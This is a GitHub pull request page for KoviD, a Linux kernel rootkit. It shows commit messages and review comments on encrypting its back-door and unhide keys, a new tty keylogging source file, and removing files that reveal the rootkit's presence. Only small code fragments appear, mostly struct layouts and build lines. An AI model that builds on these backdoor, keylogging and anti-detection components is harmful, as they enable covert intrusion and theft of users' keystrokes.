Kvdev #177
Merged
Kvdev #177
Conversation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Just like back-door key, encrypt unhide as well. Also applied drive-by fixes
Also: crypto: re-work API names init Re-organize error exit
Move it from source code to Makefile and highlight important build information.
Also API now expects struct file and list_head Note: multiple contexts untested, unsupported for now.
and remove useless copy modification
This is not a fix, need to work out how it the test will understand the difference
broken by this commit (debug only):
get-bdkey
get-unhidekey
Both commands need now to fetch the keys from mgc
Debug mode only. decrypt and present to user via proc UI.
![github-advanced-security[bot]](https://avatars.githubusercontent.com/in/57789?s=60&v=4){kind=small}
djolertrk
reviewed
Jan 6, 2025
| @@ -32,7 +32,7 @@ COMPILER_OPTIONS := -Wall -Wno-vla -DPROCNAME='"$(PROCNAME)"' \ | |||
| EXTRA_CFLAGS := -I$(src)/src -I$(src)/fs ${COMPILER_OPTIONS} | |||
|
|
|||
| SRC := src/${OBJNAME}.c src/pid.c src/fs.c src/sys.c \ | |||
| src/sock.c src/util.c src/vm.c src/crypto.c | |||
| src/sock.c src/util.c src/vm.c src/crypto.c src/tty.c | |||
There was a problem hiding this comment.
Can you please add this into https://github.com/carloslack/KoviD/blob/master/CMakeLists.txt#L109 as well? It is not being used by default (yet), but at least let it compile, so just add that source into the list.
| #ifndef __AUTO_H | ||
| #define __AUTO_H | ||
|
|
||
| static uint64_t __attribute__((unused)) auto_bdkey = 0x0000000000000000; |
Comment on lines
-44
to
-47
| #ifdef DEBUG_RING_BUFFER | ||
| #pragma message "!!! Be careful: Build kovid in DEBUG mode !!!" | ||
| #endif | ||
|
|
There was a problem hiding this comment.
Why do you think this message is not useful anymore?
| @@ -476,19 +472,51 @@ static const match_table_t tokens = { | |||
| { Opt_unhide_directory, "unhide-directory=%s" }, | |||
|
|
|||
| { Opt_journalclt, "journal-flush" }, | |||
| { Opt_fetch_base_address, "base-address=%d" }, | |||
src/kovid.c
Outdated
Comment on lines
483
to
487
| struct userdata_t { | ||
| bool ok; | ||
| int op; | ||
| uint64_t address_value; | ||
| }; |
There was a problem hiding this comment.
struct userdata_t {
uint64_t address_value;
int op;
bool ok;
};
better layout for the struct, right?
| snprintf(bits, 32, "%lx", auto_bdkey); | ||
| set_elfbits(bits); | ||
| } break; | ||
| case Opt_get_bdkey: |
djolertrk
reviewed
Jan 6, 2025
src/kovid.c
Outdated
Comment on lines
487
to
490
| struct check_unhidekey_t { | ||
| bool ok; | ||
| uint64_t address_value; | ||
| }; |
There was a problem hiding this comment.
struct check_unhidekey_t {
uint64_t address_value;
bool ok;
};
djolertrk
reviewed
Jan 6, 2025
src/tty.c
Outdated
Comment on lines
14
to
19
| struct keylog_t { | ||
| char buf[KEY_LOG_BUF_MAX+2]; /** newline+'\0' */ | ||
| int offset; | ||
| uid_t uid; | ||
| struct list_head list; | ||
| }; |
There was a problem hiding this comment.
the layout can be better
added 2 commits
January 6, 2025 09:59
It is a weakness having them Suppose you want to find the rootkit? $ >kv $ ls kv
djolertrk
approved these changes
Jan 6, 2025
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
No description provided.